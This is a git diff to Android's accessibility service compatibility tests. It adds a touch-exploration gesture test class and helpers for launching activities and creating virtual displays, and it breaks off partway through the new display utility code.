diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
new file mode 100644
index 0000000..29de0c1
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -0,0 +1,429 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_DOWN;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_MOVE;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_UP;
+import static android.accessibilityservice.cts.utils.GestureUtils.add;
+import static android.accessibilityservice.cts.utils.GestureUtils.ceil;
+import static android.accessibilityservice.cts.utils.GestureUtils.click;
+import static android.accessibilityservice.cts.utils.GestureUtils.diff;
+import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
+import static android.accessibilityservice.cts.utils.GestureUtils.doubleTapAndHold;
+import static android.accessibilityservice.cts.utils.GestureUtils.isRawAtPoint;
+import static android.accessibilityservice.cts.utils.GestureUtils.multiTap;
+import static android.accessibilityservice.cts.utils.GestureUtils.secondFingerMultiTap;
+import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
+import static android.accessibilityservice.cts.utils.GestureUtils.times;
+import static android.view.MotionEvent.ACTION_HOVER_ENTER;
+import static android.view.MotionEvent.ACTION_HOVER_EXIT;
+import static android.view.MotionEvent.ACTION_HOVER_MOVE;
+import static android.view.accessibility.AccessibilityEvent.TYPE_GESTURE_DETECTION_END;
+import static android.view.accessibility.AccessibilityEvent.TYPE_GESTURE_DETECTION_START;
+import static android.view.accessibility.AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END;
+import static android.view.accessibility.AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START;
+import static android.view.accessibility.AccessibilityEvent.TYPE_TOUCH_INTERACTION_END;
+import static android.view.accessibility.AccessibilityEvent.TYPE_TOUCH_INTERACTION_START;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_LONG_CLICKED;
+
+import static org.hamcrest.CoreMatchers.both;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
+import android.accessibilityservice.cts.utils.EventCapturingClickListener;
+import android.accessibilityservice.cts.utils.EventCapturingHoverListener;
+import android.accessibilityservice.cts.utils.EventCapturingLongClickListener;
+import android.accessibilityservice.cts.utils.EventCapturingTouchListener;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.graphics.Point;
+import android.graphics.PointF;
+import android.platform.test.annotations.AppModeFull;
+import android.util.DisplayMetrics;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewConfiguration;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityNodeInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * A set of tests for testing touch exploration. Each test dispatches a gesture and checks for the
+ * appropriate hover and/or touch events followed by the appropriate accessibility events. Some
+ * tests will then check for events from the view.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class TouchExplorerTest {
+ // Constants
+ private static final float GESTURE_LENGTH_INCHES = 1.0f;
+ private static final int SWIPE_TIME_MILLIS = 400;
+ private TouchExplorationStubAccessibilityService mService;
+ private Instrumentation mInstrumentation;
+ private UiAutomation mUiAutomation;
+ private boolean mHasTouchscreen;
+ private boolean mScreenBigEnough;
+ private EventCapturingHoverListener mHoverListener = new EventCapturingHoverListener(false);
+ private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener(false);
+ private EventCapturingClickListener mClickListener = new EventCapturingClickListener();
+ private EventCapturingLongClickListener mLongClickListener =
+ new EventCapturingLongClickListener();
+
+ private ActivityTestRule<GestureDispatchActivity> mActivityRule =
+ new ActivityTestRule<>(GestureDispatchActivity.class, false);
+
+ private InstrumentedAccessibilityServiceTestRule<TouchExplorationStubAccessibilityService>
+ mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ TouchExplorationStubAccessibilityService.class, false);
+
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mServiceRule)
+ .around(mDumpOnFailureRule);
+
+ Point mCenter; // Center of screen. Gestures all start from this point.
+ PointF mTapLocation;
+ float mSwipeDistance;
+ View mView;
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mUiAutomation = mInstrumentation.getUiAutomation(
+ UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+ PackageManager pm = mInstrumentation.getContext().getPackageManager();
+ mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+ || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+ // Find screen size, check that it is big enough for gestures.
+ // Gestures will start in the center of the screen, so we need enough horiz/vert space.
+ WindowManager windowManager =
+ (WindowManager)
+ mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
+ final DisplayMetrics metrics = new DisplayMetrics();
+ windowManager.getDefaultDisplay().getRealMetrics(metrics);
+ mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
+ mTapLocation = new PointF(mCenter);
+ mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ mService = mServiceRule.enableService();
+ mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+ mView.setOnHoverListener(mHoverListener);
+ mView.setOnTouchListener(mTouchListener);
+ mInstrumentation.runOnMainSync(
+ () -> {
+ mSwipeDistance = mView.getWidth() / 4;
+ mView.setOnClickListener(mClickListener);
+ mView.setOnLongClickListener(mLongClickListener);
+ });
+ }
+
+ /** Test a slow swipe which should initiate touch exploration. */
+ @Test
+ @AppModeFull
+ public void testSlowSwipe_initiatesTouchExploration() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0), SWIPE_TIME_MILLIS));
+ mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_END,
+ TYPE_TOUCH_INTERACTION_END);
+ }
+
+ /** Test a fast swipe which should not initiate touch exploration. */
+ @Test
+ @AppModeFull
+ public void testFastSwipe_doesNotInitiateTouchExploration() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
+ mHoverListener.assertNonePropagated();
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_GESTURE_DETECTION_START,
+ TYPE_GESTURE_DETECTION_END,
+ TYPE_TOUCH_INTERACTION_END);
+ }
+
+ /**
+ * Test a two finger drag. TouchExplorer would perform a drag gesture when two fingers moving
+ * in the same direction.
+ */
+ @Test
+ @AppModeFull
+ public void testTwoFingerDrag_dispatchesEventsBetweenFingers() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ // A two point moving that are in the same direction can perform a drag gesture by
+ // TouchExplorer while one point moving can not perform a drag gesture. We use two swipes
+ // to emulate a two finger drag gesture.
+ final int twoFingerOffset = (int) mSwipeDistance;
+ final PointF dragStart = mTapLocation;
+ final PointF dragEnd = add(dragStart, 0, mSwipeDistance);
+ final PointF finger1Start = add(dragStart, twoFingerOffset, 0);
+ final PointF finger1End = add(finger1Start, 0, mSwipeDistance);
+ final PointF finger2Start = add(dragStart, -twoFingerOffset, 0);
+ final PointF finger2End = add(finger2Start, 0, mSwipeDistance);
+ dispatch(swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS),
+ swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS));
+ List<MotionEvent> twoFingerPoints = mTouchListener.getRawEvents();
+
+ // Check the drag events performed by a two finger drag. The moving locations would be
+ // adjusted to the middle of two fingers.
+ final int numEvents = twoFingerPoints.size();
+ final int upEventIndex = numEvents - 1;
+ final float intervalFraction = ((float) (twoFingerPoints.get(1).getEventTime()
+ - twoFingerPoints.get(0).getEventTime())) / SWIPE_TIME_MILLIS;
+ for (int i = 0; i < numEvents; i++) {
+ MotionEvent moveEvent = twoFingerPoints.get(i);
+ float fractionOfDrag = intervalFraction * (i + 1);
+ if (i == 0) {
+ PointF downPoint = add(finger2Start,
+ ceil(times(fractionOfDrag, diff(dragEnd, dragStart))));
+ assertThat(moveEvent,
+ both(IS_ACTION_DOWN).and(isRawAtPoint(downPoint)));
+ } else if (i == upEventIndex) {
+ assertThat(moveEvent,
+ both(IS_ACTION_UP).and(isRawAtPoint(finger2End)));
+ } else {
+ PointF intermediatePoint = add(dragStart,
+ ceil(times(fractionOfDrag, diff(dragEnd, dragStart))));
+ assertThat(moveEvent,
+ both(IS_ACTION_MOVE).and(isRawAtPoint(intermediatePoint)));
+ }
+ }
+ }
+
+ /** Test a basic single tap which should initiate touch exploration. */
+ @Test
+ @AppModeFull
+ public void testSingleTap_initiatesTouchExploration() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ dispatch(click(mTapLocation));
+ mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_END,
+ TYPE_TOUCH_INTERACTION_END);
+ }
+
+ /**
+ * Test the case where we execute a "sloppy" double tap, meaning that the second tap isn't
+ * exactly in the same location as the first but still within tolerances. It should behave the
+ * same as a standard double tap.
+ */
+ @Test
+ @AppModeFull
+ public void testSloppyDoubleTapAccessibilityFocus_performsClick() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ syncAccessibilityFocusToInputFocus();
+ int slop = ViewConfiguration.get(mInstrumentation.getContext()).getScaledDoubleTapSlop();
+ dispatch(multiTap(mTapLocation, 2, slop));
+ mHoverListener.assertNonePropagated();
+ // The click should not be delivered via touch events in this case.
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_TOUCH_INTERACTION_END,
+ TYPE_VIEW_CLICKED);
+ mClickListener.assertClicked(mView);
+ }
+
+ /**
+ * Test the case where we want to click on the item that has accessibility focus by using
+ * AccessibilityNodeInfo.performAction.
+ */
+ @Test
+ @AppModeFull
+ public void testDoubleTapAccessibilityFocus_performsClick() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ syncAccessibilityFocusToInputFocus();
+ dispatch(doubleTap(mTapLocation));
+ mHoverListener.assertNonePropagated();
+ // The click should not be delivered via touch events in this case.
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_TOUCH_INTERACTION_END,
+ TYPE_VIEW_CLICKED);
+ mClickListener.assertClicked(mView);
+ }
+
+ /**
+ * Test the case where we double tap but there is no accessibility focus. Nothing should
+ * happen.
+ */
+ @Test
+ @AppModeFull
+ public void testDoubleTapNoAccessibilityFocus_doesNotPerformClick() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ dispatch(doubleTap(mTapLocation));
+ mHoverListener.assertNonePropagated();
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END);
+ mService.clearEvents();
+ mClickListener.assertNoneClicked();
+ }
+
+ /** Test the case where we want to long click on the item that has accessibility focus. */
+ @Test
+ @AppModeFull
+ public void testDoubleTapAndHoldAccessibilityFocus_performsLongClick() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ syncAccessibilityFocusToInputFocus();
+ dispatch(doubleTapAndHold(mTapLocation));
+ mHoverListener.assertNonePropagated();
+ // The click should not be delivered via touch events in this case.
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_VIEW_LONG_CLICKED,
+ TYPE_TOUCH_INTERACTION_END);
+ mLongClickListener.assertLongClicked(mView);
+ }
+
+ /**
+ * Test the case where we double tap and hold but there is no accessibility focus.
+ * Nothing should happen.
+ */
+ @Test
+ @AppModeFull
+ public void testDoubleTapAndHoldNoAccessibilityFocus_doesNotPerformLongClick() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ dispatch(doubleTap(mTapLocation));
+ mHoverListener.assertNonePropagated();
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END);
+ mService.clearEvents();
+ mLongClickListener.assertNoneLongClicked();
+ }
+
+ /**
+ * Test the case where we want to double tap using a second finger while the first finger is
+ * touch exploring.
+ */
+ @Test
+ @AppModeFull
+ public void testSecondFingerDoubleTapTouchExploring_performsClick() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ syncAccessibilityFocusToInputFocus();
+ // hold the first finger for long enough to trigger touch exploration before double-tapping.
+ // Touch exploration is triggered after the double tap timeout.
+ dispatch(
+ secondFingerMultiTap(
+ mTapLocation,
+ add(mTapLocation, mSwipeDistance, 0),
+ 2,
+ ViewConfiguration.getDoubleTapTimeout() + 50));
+ mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_END,
+ TYPE_TOUCH_INTERACTION_END,
+ TYPE_VIEW_CLICKED);
+ mClickListener.assertClicked(mView);
+ }
+
+ /**
+ * Test the case where we want to double tap using a second finger without triggering touch
+ * exploration.
+ */
+ @Test
+ @AppModeFull
+ public void testSecondFingerDoubleTapNotTouchExploring_performsClick() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ syncAccessibilityFocusToInputFocus();
+ // Hold the first finger for less than the double tap timeout which will not trigger touch
+ // exploration.
+ // Touch exploration is triggered after the double tap timeout.
+ dispatch(
+ secondFingerMultiTap(
+ mTapLocation,
+ add(mTapLocation, mSwipeDistance, 0),
+ 2,
+ ViewConfiguration.getDoubleTapTimeout() / 3));
+ mHoverListener.assertNonePropagated();
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_TOUCH_INTERACTION_END,
+ TYPE_VIEW_CLICKED);
+ mClickListener.assertClicked(mView);
+ }
+
+ public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
+ GestureDescription.Builder builder =
+ new GestureDescription.Builder().addStroke(firstStroke);
+ for (StrokeDescription stroke : rest) {
+ builder.addStroke(stroke);
+ }
+ dispatch(builder.build());
+ }
+
+ public void dispatch(GestureDescription gesture) {
+ await(dispatchGesture(mService, gesture));
+ }
+
+ /** Set the accessibility focus to the element that has input focus. */
+ private void syncAccessibilityFocusToInputFocus() {
+ mService.runOnServiceSync(
+ () -> {
+ mUiAutomation
+ .getRootInActiveWindow()
+ .findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
+ .performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
+ });
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
index 790246e..0fd9477 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
@@ -59,6 +59,13 @@
new WindowTitleMatcher(uiAutomation, title))::matches;
}
+ public static AccessibilityEventFilter filterWindowsChangTypesAndWindowId(int windowId,
+ int changeTypes) {
+ return allOf(new AccessibilityEventTypeMatcher(AccessibilityEvent.TYPE_WINDOWS_CHANGED),
+ new WindowChangesMatcher(changeTypes),
+ new WindowIdMatcher(windowId))::matches;
+ }
+
public static class AccessibilityEventTypeMatcher extends TypeSafeMatcher<AccessibilityEvent> {
private int mType;
@@ -167,4 +174,23 @@
description.appendText("With window title " + mTitle);
}
}
+
+ public static class WindowIdMatcher extends TypeSafeMatcher<AccessibilityEvent> {
+ private int mWindowId;
+
+ public WindowIdMatcher(int windowId) {
+ super();
+ mWindowId = windowId;
+ }
+
+ @Override
+ protected boolean matchesSafely(AccessibilityEvent event) {
+ return event.getWindowId() == mWindowId;
+ }
+
+ @Override
+ public void describeTo(Description description) {
+ description.appendText("With window Id " + mWindowId);
+ }
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 6902c8f..c3220ad 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -17,11 +17,13 @@
import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.Activity;
+import android.app.ActivityOptions;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.Context;
@@ -29,10 +31,13 @@
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.graphics.Rect;
+import android.os.Bundle;
import android.os.PowerManager;
import android.os.SystemClock;
import android.text.TextUtils;
import android.util.Log;
+import android.util.SparseArray;
+import android.view.Display;
import android.view.InputDevice;
import android.view.KeyCharacterMap;
import android.view.KeyEvent;
@@ -62,40 +67,37 @@
public static <T extends Activity> T launchActivityAndWaitForItToBeOnscreen(
Instrumentation instrumentation, UiAutomation uiAutomation,
ActivityTestRule<T> rule) throws Exception {
- final int[] location = new int[2];
- final StringBuilder activityPackage = new StringBuilder();
- final Rect bounds = new Rect();
- final StringBuilder activityTitle = new StringBuilder();
- // Make sure we get window events, so we'll know when the window appears
- AccessibilityServiceInfo info = uiAutomation.getServiceInfo();
- info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
- uiAutomation.setServiceInfo(info);
- homeScreenOrBust(instrumentation.getContext(), uiAutomation);
- final AccessibilityEvent awaitedEvent = uiAutomation.executeAndWaitForEvent(
- () -> {
- mTempActivity = rule.launchActivity(null);
- final StringBuilder builder = new StringBuilder();
- instrumentation.runOnMainSync(() -> {
- mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
- activityPackage.append(mTempActivity.getPackageName());
- });
- instrumentation.waitForIdleSync();
- activityTitle.append(getActivityTitle(instrumentation, mTempActivity));
- },
- (event) -> {
- final AccessibilityWindowInfo window =
- findWindowByTitle(uiAutomation, activityTitle);
- if (window == null) return false;
- window.getBoundsInScreen(bounds);
- mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
- if (bounds.isEmpty()) {
- return false;
- }
- return (!bounds.isEmpty())
- && (bounds.left == location[0]) && (bounds.top == location[1]);
- }, DEFAULT_TIMEOUT_MS);
- assertNotNull(awaitedEvent);
- return (T) mTempActivity;
+ ActivityLauncher activityLauncher = new ActivityLauncher() {
+ @Override
+ Activity launchActivity() {
+ return rule.launchActivity(null);
+ }
+ };
+ return launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(instrumentation,
+ uiAutomation, activityLauncher, Display.DEFAULT_DISPLAY);
+ }
+
+ /**
+ * If this activity would be launched at virtual display, please finishes this activity before
+ * this test ended. Otherwise it will be displayed on default display and impacts the next test.
+ */
+ public static <T extends Activity> T launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(
+ Instrumentation instrumentation, UiAutomation uiAutomation, Class<T> clazz,
+ int displayId) throws Exception {
+ final ActivityOptions options = ActivityOptions.makeBasic();
+ options.setLaunchDisplayId(displayId);
+ final Intent intent = new Intent(instrumentation.getTargetContext(), clazz);
+ // Add clear task because this activity may on other display.
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK|Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ ActivityLauncher activityLauncher = new ActivityLauncher() {
+ @Override
+ Activity launchActivity() {
+ return instrumentation.startActivitySync(intent, options.toBundle());
+ }
+ };
+ return launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(instrumentation,
+ uiAutomation, activityLauncher, displayId);
}
public static CharSequence getActivityTitle(
@@ -108,16 +110,15 @@
public static AccessibilityWindowInfo findWindowByTitle(
UiAutomation uiAutomation, CharSequence title) {
final List<AccessibilityWindowInfo> windows = uiAutomation.getWindows();
- AccessibilityWindowInfo returnValue = null;
- for (int i = 0; i < windows.size(); i++) {
- final AccessibilityWindowInfo window = windows.get(i);
- if (TextUtils.equals(title, window.getTitle())) {
- returnValue = window;
- } else {
- window.recycle();
- }
- }
- return returnValue;
+ return findWindowByTitleWithList(title, windows);
+ }
+
+ public static AccessibilityWindowInfo findWindowByTitleAndDisplay(
+ UiAutomation uiAutomation, CharSequence title, int displayId) {
+ final SparseArray<List<AccessibilityWindowInfo>> allWindows =
+ uiAutomation.getWindowsOnAllDisplays();
+ final List<AccessibilityWindowInfo> windowsOfDisplay = allWindows.get(displayId);
+ return findWindowByTitleWithList(title, windowsOfDisplay);
}
public static void homeScreenOrBust(Context context, UiAutomation uiAutomation) {
@@ -230,4 +231,74 @@
uiAutomation.setOnAccessibilityEventListener(null);
}
}
+
+ private static <T extends Activity> T launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(
+ Instrumentation instrumentation, UiAutomation uiAutomation,
+ ActivityLauncher activityLauncher, int displayId) throws Exception {
+ final int[] location = new int[2];
+ final StringBuilder activityPackage = new StringBuilder();
+ final Rect bounds = new Rect();
+ final StringBuilder activityTitle = new StringBuilder();
+ // Make sure we get window events, so we'll know when the window appears
+ AccessibilityServiceInfo info = uiAutomation.getServiceInfo();
+ info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+ uiAutomation.setServiceInfo(info);
+ // There is no any window on virtual display even doing GLOBAL_ACTION_HOME, so only
+ // checking the home screen for default display.
+ if (displayId == Display.DEFAULT_DISPLAY) {
+ homeScreenOrBust(instrumentation.getContext(), uiAutomation);
+ }
+
+ final AccessibilityEvent awaitedEvent = uiAutomation.executeAndWaitForEvent(
+ () -> {
+ mTempActivity = activityLauncher.launchActivity();
+ instrumentation.runOnMainSync(() -> {
+ mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
+ activityPackage.append(mTempActivity.getPackageName());
+ });
+ instrumentation.waitForIdleSync();
+ activityTitle.append(getActivityTitle(instrumentation, mTempActivity));
+ },
+ (event) -> {
+ AccessibilityNodeInfo node = event.getSource();
+ if (node != null) {
+ final AccessibilityWindowInfo window = node.getWindow();
+ if(TextUtils.equals(activityTitle, window.getTitle())) {
+ return true;
+ }
+ }
+ final AccessibilityWindowInfo window =
+ findWindowByTitleAndDisplay(uiAutomation, activityTitle, displayId);
+ if (window == null) return false;
+ window.getBoundsInScreen(bounds);
+ mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
+ if (bounds.isEmpty()) {
+ return false;
+ }
+ return (!bounds.isEmpty())
+ && (bounds.left == location[0]) && (bounds.top == location[1]);
+ }, DEFAULT_TIMEOUT_MS);
+ assertNotNull(awaitedEvent);
+ return (T) mTempActivity;
+ }
+
+ private static AccessibilityWindowInfo findWindowByTitleWithList(CharSequence title,
+ List<AccessibilityWindowInfo> windows) {
+ AccessibilityWindowInfo returnValue = null;
+ if (windows != null && windows.size() > 0) {
+ for (int i = 0; i < windows.size(); i++) {
+ final AccessibilityWindowInfo window = windows.get(i);
+ if (TextUtils.equals(title, window.getTitle())) {
+ returnValue = window;
+ } else {
+ window.recycle();
+ }
+ }
+ }
+ return returnValue;
+ }
+
+ private static abstract class ActivityLauncher {
+ abstract Activity launchActivity();
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/DisplayUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/DisplayUtils.java
index a65d859..e11c60e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/DisplayUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/DisplayUtils.java
@@ -14,18 +14,118 @@
package android.accessibilityservice.cts.utils;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
+import static android.view.Display.FLAG_PRIVATE;
+
import android.app.Activity;
+import android.content.Context;
+import android.graphics.PixelFormat;
import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
+import android.os.Looper;
+import android.util.DisplayMetrics;
+import android.view.Display;
import android.view.Window;
+import android.view.WindowManager;
+
+import com.android.compatibility.common.util.TestUtils;
/**
* Utilities needed when interacting with the display
*/
public class DisplayUtils {
+ private static final int DISPLAY_ADDED_TIMOUT_MS = 5000;
+
public static int getStatusBarHeight(Activity activity) {
final Rect rect = new Rect();
Window window = activity.getWindow();
window.getDecorView().getWindowVisibleDisplayFrame(rect);
return rect.top;
}
+
+ public static class VirtualDisplaySession implements AutoCloseable {
+ private VirtualDisplay mVirtualDisplay;
+ private ImageReader mReader;
+
+ public Display createDisplay(Context context, int width, int height, int density,
+ boolean isPrivate) {
+ if (mReader != null) {
+ throw new IllegalStateException(
+ "Only one display can be created during this session.");
+ }
+ mReader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888,
+ 1 /* maxImages */);
+ int flags = isPrivate ? 0
+ :(VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY | VIRTUAL_DISPLAY_FLAG_PUBLIC);
+ mVirtualDisplay = context.getSystemService(DisplayManager.class).createVirtualDisplay(
+ "A11yDisplay", width, height, density, mReader.getSurface(), flags);
+ return mVirtualDisplay.getDisplay();
+ }
+
+ @Override
+ public void close() {
+ if (mVirtualDisplay != null) {
+ mVirtualDisplay.release();
+ }
+ if (mReader != null) {
+ mReader.close();
+ }
+ }
+
+ /**
+ * Creates a virtual display and waits until it's in display list.
+ * @param context
+ * @param isPrivate if this display is a private display.
+ * @return virtual display.
+ *
+ * @throws IllegalStateException if called from main thread.
+ */
+ public Display createDisplayWithDefaultDisplayMetricsAndWait(Context context,
+ boolean isPrivate) {
+ if (Looper.myLooper() == Looper.getMainLooper()) {
+ throw new IllegalStateException("Should not call from main thread");
+ }
+
+ final Object waitObject = new Object();
+ final DisplayManager.DisplayListener listener = new DisplayManager.DisplayListener() {
+ @Override
+ public void onDisplayAdded(int i) {
+ synchronized (waitObject) {
+ waitObject.notifyAll();
+ }
+ }
+
+ @Override
+ public void onDisplayRemoved(int i) {
+ }
+
+ @Override
+ public void onDisplayChanged(int i) {
+ }
+ };
+ final DisplayManager displayManager = (DisplayManager) context.getSystemService(
+ Context.DISPLAY_SERVICE);
+ displayManager.registerDisplayListener(listener, null);
+
+ final WindowManager windowManager = (WindowManager) context.getSystemService(
+ Context.WINDOW_SERVICE);
+ final DisplayMetrics metrics = new DisplayMetrics();
+ windowManager.getDefaultDisplay().getRealMetrics(metrics);
